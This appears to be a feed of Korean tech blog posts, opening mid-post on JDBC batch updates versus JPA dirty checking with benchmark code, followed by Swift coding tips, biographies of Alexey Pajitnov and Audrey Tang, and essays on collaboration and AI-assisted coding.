[QUERY] 로그가 1개만 출력됩니다. 세미콜론으로 구분된 모든 쿼리가 하나의 패킷으로 전송되며, 28건이든 10,000건이든 DB 서버로 1번만 왕복합니다.

구분 포인트 요약

구분 기준	dirty checking	addBatch
메서드명	`executeUpdate`	`executeBatch` (`[QUERY]` 수로 판단)
`[QUERY]` 로그 수	N개	1개
`[FETCH]` 존재	건마다 존재	없음
쿼리 형태	쿼리 1개씩	`;`로 이어진 멀티 쿼리

profileSQL=true만 붙이면 로그 줄 수와 메서드명만으로 의도한 대로 batch가 동작하고 있는지 즉시 확인할 수 있습니다.

성능 비교#

성능 측정 코드#

정확한 성능 측정을 위해 JPA Dirty Checking 방식과 QueryDSL addBatch의 실행 시간을 각각 측정했습니다.

@Service
class BatchInsertService() {
    @Transactional
    fun batchUpdate(writers: List<WriterUpdate>): Long {
        val writerTable = RelationalPathBase(Writer::class.java, "writer", null, "writer")
        val update = sqlQueryFactory.update(writerTable)
        // 데이터를 Batch에 추가
        for (writer in writers) {
            val id = requireNotNull(writer.id) { "Writer id must not be null" }
            update
                .set(QWriter.writer.name, writer.name)
                .where(QWriter.writer.id.eq(id))
                .addBatch() // 메모리에 쿼리 적재
        }

        // 일괄 실행
        return update.execute()
    }
    @Transactional
    fun updateWriters(writers: List<Writer>) {
        for (writer in writers) {
            writer.name = "updated"
            writerRepository.save(writer) // dirty checking → 트랜잭션 커밋 시 건별 UPDATE 발생
        }
    }
}

@Test
fun `dirty checking update test`() {
    val rowsList = listOf(100, 200, 500, 1_000, 2_000, 5_000, 10_000)
    val iterations = 5

    rowsList.forEach { rows ->
        // 테스트 데이터 사전 삽입 (id 확보)
        val writers = writerRepository.saveAll(
            (1..rows).map { Writer(name = "name-$it", email = "email-$it") }
        ).toList()

        var totalTimeMillis = 0.0
        for (i in 1..iterations) {
            val stopWatch = StopWatch()
            stopWatch.start()
            writerService.updateWriters(writers)
            stopWatch.stop()

            if (i > 1) { // 첫 회차 제외
                totalTimeMillis += stopWatch.totalTimeMillis
            }
        }
        val averageTimeMillis = totalTimeMillis / (iterations - 1)
        println("$rows 건 dirty checking 평균 실행 시간: ${averageTimeMillis} ms")
    }
}

@Test
fun `batchUpdate test`() {
    val rowsList = listOf(100, 200, 500, 1_000, 2_000, 5_000, 10_000)
    val iterations = 5

    rowsList.forEach { rows ->
        // 테스트 데이터 사전 삽입
        val savedWriters = writerRepository.saveAll(
            (1..rows).map { Writer(name = "name-$it", email = "email-$it") }
        )

        val updates = savedWriters.map { WriterUpdate(id = it.id!!, name = "new") }

        var totalTimeMillis = 0.0
        for (i in 1..iterations) {
            val stopWatch = StopWatch()
            stopWatch.start()
            batchInsertService.batchUpdate(updates)
            stopWatch.stop()

            if (i > 1) { // 첫 회차 제외
                totalTimeMillis += stopWatch.totalTimeMillis
            }
        }
        val averageTimeMillis = totalTimeMillis / (iterations - 1)
        println("$rows 건 QueryDSL Batch Update 평균 실행 시간: ${averageTimeMillis} ms")
    }
}

측정 방식 설명

반복 측정: 각 데이터 구간(100건 ~ 10,000건)마다 총 5회 반복하여 측정했습니다.
Warm-up 고려: 테스트 실행 시 첫 번째 회차는 결과에서 제외했습니다. 커넥션 풀 초기화 등 초기 비용이 포함되어 결과가 왜곡되는 것을 방지하기 위함입니다.
평균값 산출: 첫 회차를 제외한 나머지 4회의 실행 시간을 합산하여 평균값을 산출했습니다.

성능 측정 결과#

JPA Dirty Checking과 QueryDSL addBatch를 사용했을 때의 성능 차이를 비교한 결과입니다.

rows	dirty checking (ms)	add batch (ms)	성능 개선율
100	265.5	28.5	89.3%
200	368.5	45.5	87.7%
500	808.75	103.5	87.2%
1,000	1,647.25	191.5	88.4%
2,000	3,315.0	392.0	88.2%
5,000	8,593.5	928.25	89.2%
10,000	16,530.75	2,063.0	87.5%

bar (dirty checking): JPA save(writer)를 루프에서 건별 호출 — UPDATE N번 개별 전송
line (add batch): QueryDSL SQLQueryFactory의 addBatch — N개의 UPDATE를 1번의 네트워크 왕복으로 전송

참고: 이 측정은 애플리케이션 서버와 데이터베이스가 **동일한 로컬 환경(loopback)**에서 수행된 결과입니다. Loopback 통신은 실제 네트워크 대비 레이턴시가 거의 없는 이상적인 조건임에도 불구하고 이 정도의 성능 차이가 발생합니다. 실제 운영 환경처럼 애플리케이션 서버와 DB 서버가 별도의 네트워크에 위치한다면, 건별로 전송하는 dirty checking 방식은 네트워크 왕복 비용이 쿼리 수만큼 누적되어 성능 차이가 훨씬 더 크게 벌어질 수 있습니다.

결론#

대량의 데이터를 수정해야 하는 배치성 작업에서는 JPA의 Dirty Checking 방식보다 JDBC Batch Update를 사용하는 것이 성능 측면에서 훨씬 유리합니다.

Insert와 마찬가지로, 오직 Batch Update 성능 개선만을 위해 별도의 라이브러리를 도입하는 것은 프로젝트의 복잡도를 높일 수 있습니다. 이미 JPA와 QueryDSL을 사용 중인 환경이라면, QueryDSL-SQL을 활용하는 것이 추가적인 학습 곡선이나 설정의 번거로움 없이 Type-Safe하게 성능을 극대화할 수 있는 가장 효율적인 대안입니다.

Insert와 Update 모두 동일한 addBatch + execute() 패턴을 사용하지만, Update에서는 반드시 where 조건으로 대상 row를 특정해야 한다는 점을 기억하세요.

연산 능력 테스트가 전설적인 게임이 되기까지... 알렉세이 파지트노프(Алексей Пажитнов)

2026-04-15T23:05:48+09:00

1955년생인 알렉세이 레오니도비치 파지트노프(Alexey Pajitnov, Алексей Пажитнов)는 소련(소비에트 연방- 현 러시아)에서 태어났어요. 수학에 소질이 있었던 파지트노프는 모스크바 항공 연구소에서 응용수학을 공부합니다. 공부를 마친 후 소련 과학 아카데미 산하 조직인 도로드니친 컴퓨터 센터에 취업하여 음성 인식 관련 개발 업무를 맡습니다. 도로드니친 컴퓨터 센터 직원들은 새로운 장비가 들어오면 간단한 프로그램을 작성하여 장비의 연산 능력을 테스트했습니다. 파지트노프는 연산 능력을 테스트 한다면서 게임을 만듭니다.

펜토미노 게임

1985년 파지트노프는 어린 시절 즐겨했던 펜토미노 게임을 떠올립니다. 펜토미노는 도형 조각을 요리조리 움직여 그림을 만드는 게임입니다. 게임을 다하고 도형 조각을 상자에 다시 넣는 것이 어려웠는데, 이 개념을 활용한 게임을 만들기로 합니다. 2주 만에 첫 번째 프로토타입을 만든 후 6월 6일 드디어 일렉트로니카 60에서 동작하는 최초 1.0 버전을 완성합니다. 이 게임은 레벨이나 점수 시스템도 없었지만 매우 중독성이 높았죠. 동료 프로그래머들은 이 게임에 관심을 보입니다. 당시 소련아카데미의 16살 인턴 바딤 게라시모프는 3주 만에 PC 버전을 만들었고, 드미트리 페블롭스키는 점수 기록과 음향 효과를 한 달 동안 추가합니다. 이 게임은 소련에서 첫 출시되었고, 1988년 마이크로소프트사와 스펙트럼 홀로바이트사를 통해 전 세계에 출시됩니다. 출시 직후부터 엄청난 반향을 불러온 이 게임이 바로 "테트리스"입니다.

테트리스 첫번째 버전

원래 테트리스는 소련에서 만들어졌기 때문에 파지트노프는 로열티를 한 푼도 받지 못했습니다. 하지만 참 새옹지마라 할까요? 1991년 굳건해 보이던 공산주의의 맹주 소련이 붕괴되면서 파지트노프는 미국으로 이주한 후, 미국 국적을 획득합니다. 이후 1995년 테트리스에 대한 소유권 또한 파지트노프에게 반환되면서 그때부터 테트리스의 로열티를 받게 됩니다. 이후 1996년 헨크 로저스와 함께 테트리스 컴퍼니를 설립합니다. 미국으로 삶의 터전을 옮긴 파지트노프는 1996년 10월부터 2005년까지 마이크로 소프트 MSN Games 그룹에서 일했습니다.

대만 프로그래머 장관, 오드리 탕(Audrey Tang, 唐鳳)

2026-04-13T06:00:50+09:00

바야흐로 펄(Perl) 정례 컨퍼런스의 4일차되던 2000년 7월 19일, 펄을 만든 래리 월은 펄 6의 설계 과정을 제안합니다. 이 당시 펄 6는 기존 버전의 언어 규격을 재정비하는 목적으로 기존 버전과의 호환성을 일부 포기하고 API 및 내부 구조를 정리하려 합니다. 언어 규격은 정했지만, 이를 실제 동작하는 언어로 만드는 것은 또다른 일입니다. 펄 6의 명세는 정했는데 구현체가 잘 등장하지 않았죠. 구현체가 없는 언어 명세. 상상이 가시나요? 이런 상황속에서 한 사람이 등장합니다. 대만 출신 프로그래머 오드리탕입니다. 그는 하스켈을 사용하여 펄 6 인터프리터를 개발하고 싶다고 글을 올립니다. 이후 단 하루만에 기본적인 인터프리터 프로토타입이 만들어 지고, 프로젝트 시작 1주일만에 변수 선언, 제어 구조, 함수 호출 등 현대 프로그래밍 언어의 핵심 기능 대부분을 구현합니다. 이것이 펄6의 초기 구현체 Pugs 역사의 시작입니다.

81년생인 오드리탕의 부모님 두분은 모두 신문기자였습니다. 오드리탕은 어린 시절 부터 남과는 다른 지능의 면모를 보였는데, 5살때 이미 중국 고전인 서경과 도덕경 등을 읽었고, 6살에는 연립 방정식을 풀고, 8살 전에 프로그래밍을 익힙니다. 12살부터 펄 프로그래밍 언어를 배우기 시작했하였고, 15세에 중학교 중퇴후 스타트업을 세우고, 19세에는 실리콘밸리에 소프트웨어 회사를 설립니다. 중학교를 자퇴한 이유를 묻자, 선생님이 수업 내용을 설명하기 전에 먼저 개념을 혼자 이해하게 되는 바람에 교육 속도가 느리다고 느껴서 좌절감을 느꼈기 때문이라고 합니다.

오드리 탕은 펄 언어를 좋아했는데요. (실제로는 해스캘을 더 좋아한 듯 합니다.) 2001년부터 2006년까지 5년동안 100개 이상의 펄 모듈을 직접 작성하거나 개발합니다. 그 중에서도 PAR(Perl ARchive Toolkit)은 애플리케이션을 자체 실행파일 형태로 묶어주어서 펄 언어가 설치되어 있지 않은 곳에서도 펄 관련 도구를 쉽게 사용할 수 있도록 도와주는 클로스 플랫폼 패키지 도구입니다. 이 도구 덕분에 펄의 이식성에 대한 장벽이 없어지면서 기업내 펄의 사용이 확산됩니다.

오드리탕은 부모님의 영향을 받아서 현실 정치에도 적극적으로 참여합니다. 2014년 중국과 대만간 서비스 무역협정(CSSTA) 체결에 반대하는 시민들이 대만 국회를 점거하는 대규모 시위가 발생합니다. 이 운동을 일컬어 해바라기 운동이라 부르는데요. 오드리탕은 시위가 발생하자 마자 현장으로 달려가서 인터넷 케이블을 연결하고 트위터로 국회 점거 상황을 실시간으로 중계합니다. 이는 대만 민주화 운동의 전환점이 되며, 새로운 기술을 통해 전제적 정부에 국민들이 저항하기 시작하는 첫 출발점이 됩니다. 이후 정부의 방대한 공공데이터를 쉽게 접근할 수 있는 거브 제로(g0v) 사이트, 실시간 토론 플랫폼인 폴리스(Polis), 대규모 온라인 시민참여 의회 플랫폼인 vTaiwan 등을 개발하였습니다. 코로나 19 팬데믹 당시 대만용 마스크 재고 지도 앱을 개발하여 마스크 재고 상황을 실시간으로 국민들에게 공개하였습니다.

오드리탕은 대만의 첫 디지털 장관(2016년부터 2024년까지)에 취임하면서 최연소 내각 장관이며, 최초의 트랜스 젠더 겸 비-이분법적인 사람이라 선언한 타이틀을 가지고 있습니다. 여전히 시빅 해커 활동을 하면서 기술의 공공성을 높이기 위한 활동에 적극 참여하고 있습니다.

그러나 제가 말하고 싶은 것은 좋은 답변이 아니라 좋은 질문입니다. 좋은 질문을 즐길 만한 환경에 스스로를 두기, 살아 있는 동안에 대답이 나오지 않더라도 상관없어요. 물론 ‘만물에 대한 대답이 42’라는 것을 다들 알고 있죠. 그렇지만 그거 말고도 답은 많이 있어요.

(참고: 왜 42일까를 찾아봤습니다. 아무래도 <은하수를 여행하는 히치하이커를 위한 안내서>에 등장하는 슈퍼컴퓨터 DeepThought의 답을 이야기한 것 같습니다. DeepThought는 모든 질문의 궁극적인 답이 무엇인지를 750만년 걸려서 계산한 다음 42라고 대답합니다.)

우리가 모두 디지털 민주주의의 공동 창조자입니다. 기술은 사회적 신뢰와 투명성을 높이고, 시민이 정책 결정에 실질적으로 참여하는 새로운 민주주의 시대를 열 수 있습니다

프로그래머 장관 오드리 탕, 내일을 위한 디지털을 말하다 | - 교보문고

프로그래머 장관 오드리 탕, 내일을 위한 디지털을 말하다 | 공공을 위해 살아온 천재 프로그래머 장관, 오드리 탕! 자신의 언어로 말하는 내일과 모두를 위한 디지털&AI 사회의 구축법대만 사상

product.kyobobook.co.kr

모두가 같다는 환상 천재를 죽이지 않는 사회 | 아이리스 치우 - 교보문고

모두가 같다는 환상 천재를 죽이지 않는 사회 | 오드리 탕은 오드리 탕일 뿐이다 천재 프로그래머 장관의 '덜 주목받은' 일곱 가지 이야기이 책에서는 대만 사상 최연소 장관이자 세계 최초 트랜

product.kyobobook.co.kr

대만의 디지털 민주주의와 오드리 탕 | 전병근 - 교보문고

대만의 디지털 민주주의와 오드리 탕 | 대만의 시빅 해커들은 민주주의를 기술로 간주한다. 누구나 참여해 더 좋게 만들 수 있다고 믿는다.시빅 해커 출신의 대만 디지털 장관 오드리 탕이 대만

product.kyobobook.co.kr

매끄러운 협업은 키치에 가깝다

2026-04-12T18:00:00+09:00

『참을 수 없는 존재의 가벼움』을 다시 읽으며, 키치라는 개념이 오래 남았다. 밀란 쿤데라가 말하는 키치는 취향의 문제가 아니다. 불편함과 모순을 덜어내고, 누구나 고개를 끄덕일 수 있는 이야기만 남기는 방식이다. 그는 이를 "존재에 대한 범주적 동의"라고 불렀다. 잔디밭을 뛰노는 아이들을 보며 흘리는 첫 번째 눈물, 그리고 그 감동에 함께 젖어 있는 자신을 보며 흘리는 두 번째 눈물. 키치는 그 두 번째 눈물의 세계다. 아름답지만, 그래서 조금 의심스럽다. 경영서들은 대부분 이 방식으로 현실을 설명한다. 협업과 리더십을 다루는 책들은 비슷한 장면을 반복한다. 구성원은 존중받고, 논의는 충분히 이루어지며, 갈등은 적절한 프로세스를 통해 해소된다. 훌륭한 리더는 심리적 안전감을 만들고, 팀은 그 안에서 더 나은 결론에 도달한다. 읽는 동안은 설득된다. 문제는 그 설득이 현실을 전제하지 않는다는 점이다. 불편한 요소를 제거할수록 메시지는 더 쉽게 소비되기 때문이다. 경영서의 그림이 틀린 것은 아니다. 다만 애초에 중요한 것들이 빠져 있다. 감정, 자존심, 이해관계, 타이밍. 실제 조직에서는 분명하게 작동하지만 매끄러운 이야기 안에는 들어갈 수 없는 요소들이다. 누군가의 의견이 내용보다 직급으로 먼저 읽히는 순간, 피드백이 전달되기도 전에 감정을 통과하는 과정, 합의처럼 보이지만 결국 가장 큰 목소리로 수렴되는 결론. 경영서는 현실을 틀리게 설명하지 않는다. 중요한 것들을 지운 상태에서 설명한다. 키치가 작동하는 방식이 그렇다. 현실의 장면은 그 그림과 다르다. 말을 꺼내면 무시되거나 과잉 반응이 돌아오고, 논의는 설득과 방어가 뒤섞인 싸움으로 흐른다. 이런 일은 예외가 아니다. 오히려 조직이 실제로 작동하는 방식에 가깝다. 그런데도 우리는 그것을 예외처럼 취급한다. 책이 제시하는 그림을 기준으로 삼기 때문이다. 현실이 어긋날 때, 우리는 현실이 아니라 사람을 고치려 든다. 프로세스를 의심하고, 리더의 성장을 문제 삼고, 팀 문화를 탓한다. 하지만 드러난 것은 결함이 아니라, 처음부터 지워져 있던 것들인지도 모른다. 지도에 없는 길을 틀렸다고 말하는 셈이다. 좋은 협업은 매끄러운 그림을 구현하는 데서 나오지 않는다. 지워졌던 것들—말하기 불편한 감정, 충돌하는 이해관계, 설명되지 않는 역학—을 다시 드러내는 데서 시작한다. 『참을 수 없는 존재의 가벼움』에서 키치에 맞서는 인물들이 그랬듯, 중요한 것은 아름다운 그림을 거부하는 것이 아니라 그 밖에 있는 것들을 외면하지 않는 일이다. 키치를 알아보는 것이 먼저다. 그 다음에야, 비로소 실제 협업이 가능해진다.

[Swift][Network] 경량화된 Encodable 기반 파라미터 타입

2026-04-15T09:00:00+09:00

배경

Swift에서 네트워크 요청의 body를 만들 때는 보통 Encodable을 채택한 타입을 정의해서 전달합니다.

struct UserInfoParameter: Encodable {
    let name: String
    let age: Int
    let isActive: Bool
}

이 방식은 구조화된 접근입니다. 요청 스펙이 타입으로 드러나고, 컴파일 타임에 실수를 줄일 수 있고, 요청이 커질수록 읽기 쉽기 때문입니다.

그런데 모든 요청이 구조화된 타입을 필요로 하지는 않습니다.

body에 들어가는 값이 정말 몇 개 안 되는 경우가 있습니다. 예를 들어 page, size, lastTxId 정도만 보내면 되는 작은 요청인데, 이런 요청마다 별도의 DTO를 만드는 것이 무겁게 느껴질 때가 있습니다.

물론 DTO 하나 만드는 비용이 아주 큰 것은 아닙니다. 하지만 요청이 단순하고 일회성에 가까울수록, 타입을 따로 선언하는 것이 맞는가 하는 생각이 들 때가 있습니다. 특히 요청 타입을 네트워크 모듈에 두는 구조라면, 작은 요청 하나 때문에 네트워크와 직접적인 의존성이 없는 모듈에서 해당 타입을 사용하여, 네트워크 모듈을 의존하게 되는 점도 부담스럽습니다. 다만 중간 DTO를 만들면 되지만 이 또한 비용으로 발생합니다.

이런 상황에서 가장 먼저 떠오르는 건 Dictionary<String, Any> 같은 형태입니다.

let body: [String: Any] = [
    "name": "minsone",
    "age": 100,
    "isActive": true
]

간단하긴 하지만, 이 방식은 아쉬움이 있습니다.

첫째, 타입이 너무 느슨합니다. Any를 받기 시작하면 body에 어떤 값이 들어갈 수 있는지 코드만 보고는 알기 어렵습니다.

둘째, JSON 인코딩 경계가 불분명해집니다. 일단 넣고 나중에 어떻게든 인코딩하는 형태가 되기 쉽습니다.

셋째, 이 타입이 정말 JSON body를 위한 것인지, 아니면 임시 데이터를 담기 위한 것인지 확실하지 않습니다. 이는 Dictonary 타입이라는 것 때문에 의도를 명확하게 드러내지 못합니다.

그래서 Encodable의 장점은 유지하면서도, 필드가 적은 요청에서는 DTO를 만들지 않고도 body를 구성할 수 있는 타입이 있으면 좋겠습니다.

key는 문자열로 받는다.
value는 Encodable을 따르는 타입만 받는다.
목적은 오직 JSON body 생성이다.

사용 방식

원하는 사용 방식은 다음과 같습니다.

let body = JSONBody()
    .with("key1", value: "value1")
    .with("key2", value: 3)
    .with("key3", value: true)
    .with("key4", value: [1, 2, 3, 4, 5])

이 방식의 목표는 단순한 JSON body를 만들 수 있도록 합니다.

핵심은 두 가지입니다.

필드가 적은 요청에서는 DTO를 만들지 않고도 body를 구성할 수 있습니다.
값은 Encodable만 받을 수 있도록 해서 최소한의 타입 제약은 유지합니다.

구현

struct JSONBody: Encodable {
    private var storage: [String: any Encodable] = [:]

    func with<T: Encodable>(_ key: String, value: T) -> Self {
        var copy = self
        copy.storage[key] = value
        return copy
    }

    func encode(to encoder: Encoder) throws {
        var container = encoder.container(keyedBy: DynamicCodingKey.self)

        for (key, value) in storage {
            let codingKey = DynamicCodingKey(stringValue: key)
            guard let codingKey else { continue }
            try value.encode(to: container.superEncoder(forKey: codingKey))
        }
    }
}

private struct DynamicCodingKey: CodingKey {
    let stringValue: String
    let intValue: Int?

    init?(stringValue: String) {
        self.stringValue = stringValue
        self.intValue = nil
    }

    init?(intValue: Int) {
        self.stringValue = "\(intValue)"
        self.intValue = intValue
    }
}

이 구현에서 중요한 점은 JSONBody가 Encodable 프로토콜을 따릅니다. 따라서 네트워크에서는 기존의 Encodable 요청 모델과 같은 방식으로 다룰 수 있습니다.

func request<T: Encodable>(body: T) throws -> Data {
    try JSONEncoder().encode(body)
}

let body = JSONBody()
    .with("name", value: "minsone")
    .with("age", value: 100)
    .with("isActive", value: true)
let data = try request(body: body)

즉, 네트워크 레이어를 새로 설계할 필요 없이 body를 만드는 쪽에만 선택지를 추가하는 방식입니다.

구현 범위

이 타입을 만들다 보면 기능을 더 넣을 수 있습니다. 예를 들어 다른 Encodable 타입 값 받기,, nil 처리, 중첩 body 조합 같은 기능들입니다.

그런데 기능이 늘어나기 시작하면, 이 타입의 역할이 금방 커집니다. 그러면 “body를 가볍게 만들기 위한 타입”이라는 처음 의도가 흐려질 수 있습니다.

그래서 역할을 최소한으로 기능을 제한하였습니다.

단일 key/value를 추가하는 with
Encodable body로 인코딩 가능할 것
JSON body 용도로만 사용할 것

DTO와의 관계

이 방식은 DTO를 대체하려는 것이 아닙니다. 오히려 DTO가 더 적합한 경우가 여전히 많습니다.

예를 들어 아래와 같은 요청은 구조화된 DTO로 두는 편이 더 낫습니다.

struct SignupParameter: Encodable {
    let email: String
    let password: String
    let nickname: String
    let marketingConsent: Bool
}

필드가 많고, 요청의 의미가 분명하고, 다른 곳에서도 재사용될 가능성이 있다면 DTO가 더 읽기 쉽고 안전합니다.

반면 필드가 적고 단순한 body는 JSONBody 같은 작은 타입으로 다루는 것도 충분히 괜찮다고 생각합니다.

구조가 분명하고 중요한 요청은 Encodable DTO를 사용합니다.
필드가 적고 단순한 body는 JSONBody 같은 작은 타입으로 다룹니다.

즉, 요청의 복잡도에 따라 선택지를 다르게 가져가자는 쪽에 가깝습니다.

정리

Swift에서 네트워크 요청 body를 만들 때 Encodable DTO를 사용하는 방식은 여전히 좋은 기본값입니다.

하지만 모든 요청에 매번 타입을 만들 필요는 없다고 생각합니다. 필드가 적고 단순한 body라면, key는 문자열로 받고 value는 Encodable만 허용하는 작은 body 타입을 두는 것도 충분히 실용적인 선택지가 될 수 있습니다.

[Swift] private protocol로 파일 내부 공통 구현 숨기기

2026-04-14T09:00:00+09:00

코드를 정리하다 보면, 같은 프로토콜을 채택한 타입이 여러 개 있는데 실제 구현을 열어보면 거의 똑같은 경우가 있습니다. 차이라고는 type 같은 값 하나뿐이고, 메서드 구현은 전부 복붙인 상태입니다.

예를 들어 Processor Plugin 코드가 아래처럼 생겼다고 해봅시다.

// File: InvestPlugin.swift

enum InvestPlugin {
    static let list: [ProcessorPlugin] = [
        Home(),
        BondList(),
        ProductDetail()
    ]
}

extension InvestPlugin {
    struct Home: ProcessorPlugin {
        var type: PluginType { .채권_홈 }

        func run(info: PluginInfo) -> Result<Void, PluginRunError> {
            guard let runner = Runner(plugin: type, info: info) else {
                return .failure(.invalidURL(info.definition))
            }
            runner.run()
            return .success(())
        }
    }
}

extension InvestPlugin {
    struct BondList: ProcessorPlugin {
        var type: PluginType { .채권_목록 }

        func run(info: PluginInfo) -> Result<Void, PluginRunError> {
            guard let runner = Runner(plugin: type, info: info) else {
                return .failure(.invalidURL(info.definition))
            }
            runner.run()
            return .success(())
        }
    }
}

extension InvestPlugin {
    struct ProductDetail: ProcessorPlugin {
        var type: PluginType { .채권_상세 }

        func run(info: PluginInfo) -> Result<Void, PluginRunError> {
            guard let runner = Runner(plugin: type, info: info) else {
                return .failure(.invalidURL(info.definition))
            }
            runner.run()
            return .success(())
        }
    }
}

이런 코드는 처음에는 그냥 넘어가기 쉽습니다. 어차피 짧으니까요. 그런데 타입이 하나 둘 늘어나기 시작하면 얘기가 달라집니다. 새 타입을 추가할 때마다 run(info:)를 또 복사해야 하고, 나중에 에러 처리나 실행 흐름을 바꾸려면 같은 코드를 여러 군데에서 같이 수정해야 합니다.

이럴 때 파일 안에서만 쓰는 private protocol 하나를 두고, extension으로 공통 구현을 빼두면 깔끔하게 정리됩니다.

왜 `private protocol`인가

프로토콜도 private 접근 제어를 가질 수 있습니다.

private protocol MyProtocol {}

이렇게 선언하면 이 프로토콜은 해당 파일 안에서만 쓸 수 있습니다. 다른 파일에서는 참조도 못 하고 채택도 못 합니다.

여기서 중요한 건 이 프로토콜이 “공개 API”가 아니라 “파일 내부 구현”이라는 점을 코드로 드러낼 수 있습니다.

중요한 건 세부 접근 제어 비교가 아니라, “이 프로토콜은 파일 밖으로 나갈 이유가 없다”는 판단입니다. 재사용하려고 만든 프로토콜이 아니라, 그냥 이 파일 안에서 중복을 줄이기 위한 보조 도구라면 private으로 두는 쪽이 자연스럽습니다.

`extension ProcessorPlugin`의 기본 구현

처음에는 아래처럼 공개 프로토콜 extension에 기본 구현을 넣는 방법이 더 단순해 보일 수 있습니다.

extension ProcessorPlugin {
    func run(info: PluginInfo) -> Result<Void, PluginRunError> {
        guard let runner = Runner(plugin: type, info: info) else {
            return .failure(.invalidURL(info.definition))
        }
        runner.run()
        return .success(())
    }
}

ProcessorPlugin 프로토콜이 특정 도메인에 특화된 타입이면 괜찮을 수도 있습니다. 하지만 ProcessorPlugin이 여러 도메인에서 쓰이는 프로토콜이므로 모든 구현이 해당 구현을 따라야하므로 적절하지 않습니다.

그래서 공개 프로토콜은 그대로 두고, 파일 안에서만 쓰는 별도 프로토콜에만 기본 구현을 넣는 방식을 통해 영향 범위를 좁히는 게 좋습니다.

어떻게 정리할 수 있나

공개 프로토콜은 그대로 두고, 파일 안에서만 쓰는 보조 프로토콜에 공통 구현을 넣으면 됩니다. 예를 들면 아래처럼 정리할 수 있습니다.

// File: InvestPlugin.swift

private protocol InvestProcessPlugin: ProcessorPlugin {}

extension InvestProcessPlugin {
    func run(info: PluginInfo) -> Result<Void, PluginRunError> {
        guard let runner = Runner(plugin: type, info: info) else {
            return .failure(.invalidURL(info.definition))
        }
        runner.run()
        return .success(())
    }
}

enum InvestPlugin {
    static let list: [ProcessorPlugin] = [
        Home(),
        BondList(),
        ProductDetail()
    ]
}

extension InvestPlugin {
    struct Home: InvestProcessPlugin {
        var type: PluginType { .채권_홈 }
    }

    struct BondList: InvestProcessPlugin {
        var type: PluginType { .채권_목록 }
    }

    struct ProductDetail: InvestProcessPlugin {
        var type: PluginType { .채권_상세 }
    }
}

이렇게 바꾸면 run(info:) 구현은 한 군데만 남습니다. Home, BondList, ProductDetail은 각자 type만 정의하면 됩니다.

이 방식의 좋은 점은 범위를 파일 하나로 묶을 수 있다는 점입니다. 공개 프로토콜 전체에 기본 구현을 얹는 대신, 필요한 타입 묶음에만 공통 동작을 줄 수 있습니다. 외부에서는 여전히 ProcessorPlugin만 보면 되고, 내부 중복 제거를 위해 만든 InvestProcessPlugin 프로토콜은 밖으로 드러나지 않습니다.

또 InvestProcessPlugin 프로토콜은 파일 밖에서 참조할 수 없기 때문에, 나중에 이름을 바꾸거나 기본 구현을 손봐도 영향 범위를 작게 유지할 수 있습니다. 이름 충돌 걱정할 필요가 없습니다.

Before / After

한 파일에 3개의 타입만 있어도 차이는 바로 보입니다.

항목	Before	After
`run(info:)` 구현 수	3개	1개
중복 로직 수정 지점	3곳	1곳
새 Plugin 추가 시	`run()` 복사 필요	`type`만 선언

핵심은 코드 줄 수보다 수정 지점이 하나로 모인다는 점입니다. 공통 로직을 바꿀 때 한 군데만 보면 되고, 새 타입을 추가할 때도 type만 구현하면 됩니다.

다른 방법과 비교해보면

이 문제를 푸는 방법은 클래스 상속, Closure를 통한 방법 등이 있습니다. 하지만 각각의 단점이 있어서 결국 private protocol이 가장 부담이 적은 선택이 되었습니다.

Base Class

class PluginBase: ProcessorPlugin {
    var type: PluginType { fatalError("override required") }

    func run(info: PluginInfo) -> Result<Void, PluginRunError> {
        guard let runner = Runner(plugin: type, info: info) else {
            return .failure(.invalidURL(info.definition))
        }
        runner.run()
        return .success(())
    }
}

클래스 베이스로 빼는 방식은 익숙하긴 합니다. 하지만 struct를 class로 바꿔야 하고, 상속 제약도 따라옵니다. type을 override 안 하면 fatalError가 터지는 구조가 깔끔하진 않습니다.

Closure 기반 래퍼

struct GenericPlugin: ProcessorPlugin {
    let type: PluginType
    let action: (PluginInfo) -> Result<Void, PluginRunError>

    func run(info: PluginInfo) -> Result<Void, PluginRunError> {
        action(info)
    }
}

별도 래퍼 타입이 필요하고, 실제 도메인 타입 이름을 알기 어렵습니다. 디버깅시에 코드를 따라가기가 어려워지는 단점이 있습니다.

사용할 때 주의할 점

공개 인터페이스를 기준으로 테스트 진행

private protocol 자체는 테스트에서 직접 접근할 수 없습니다. 하지만 해당 타입이 공개 프로토콜을 통해 기대한 동작을 하는지만 테스트하면 됩니다.

func testOpenPlugin_run_returnsSuccess() {
    let plugin: ProcessorPlugin = InvestPlugin.Home()
    let result = plugin.run(info: mockInfo)
    XCTAssertEqual(result, .success(()))
}

특정 타입만 예외 처리가 필요한 경우

기본 구현이 생기면 모든 타입이 같은 방식으로 동작한다는 전제가 깔립니다. 만약 특정 타입만 예외 처리가 필요하다면 해당 타입에서 직접 run(info:)를 구현하면 됩니다.

struct SpecialCase: InvestProcessPlugin {
    var type: PluginType { .채권_특수케이스 }

    func run(info: PluginInfo) -> Result<Void, PluginRunError> {
        // 이 타입만 필요한 별도 로직
    }
}

다만 예외가 계속 늘어나면 다시 구조 설계를 진행해야 합니다.

언제 쓰면 좋은가

아래 조건이면 유용하게 사용할 수 있습니다.

같은 파일 안에 비슷한 타입이 두 개 이상 있다.
공개 프로토콜 메서드 구현이 사실상 동일하다.
외부 API는 바꾸지 않고 내부 중복만 제거하고 싶다.

반대로 타입이 하나뿐이거나, 각 타입 구현이 실제로 많이 다르면 굳이 만들 필요는 없습니다. 여러 파일에서 같이 써야 한다면 private보다는 internal 공통 타입이나 별도 모듈로 빼는 쪽이 맞습니다.

정리

private protocol은 거창한 설계 패턴이라기보다, 파일 안에서만 쓰는 공통 구현을 정리하는 실용적인 방법입니다.

공개 인터페이스는 그대로 두고, 파일 내부에서만 필요한 공통 구현만 따로 묶고 싶을 때 해당 방법을 이용한다면, 영향 범위도 좁고, 새 타입을 추가할 때도 편리하게 관리할 수 있습니다.

같은 코드를 여러 타입에서 반복하고 있고, 그 구현이 파일 밖으로 드러날 이유도 없다면 이 방법을 사용하여 처리하는 것을 고려해보세요. 코드가 더 깔끔해지고, 유지보수도 쉬워질 겁니다.

AI 코딩 시대, 더이상 성장하지 않는 개발자들

2026-04-18T20:29:24+09:00

AI를 많이 쓸수록 AI를 잘 쓰기 어려워진다. 이건 마치 직관에 반하는 말처럼 들리지만, 필자는 이것이 사실이라고 생각한다.

요즘 너도 나도 AI FOMO에 빠져 열심히 AI를 잘 쓰기 위해 노력하고 있지만, 우리는 “AI를 잘 쓴다”는 것이 무엇인지부터 생각해볼 필요가 있다.

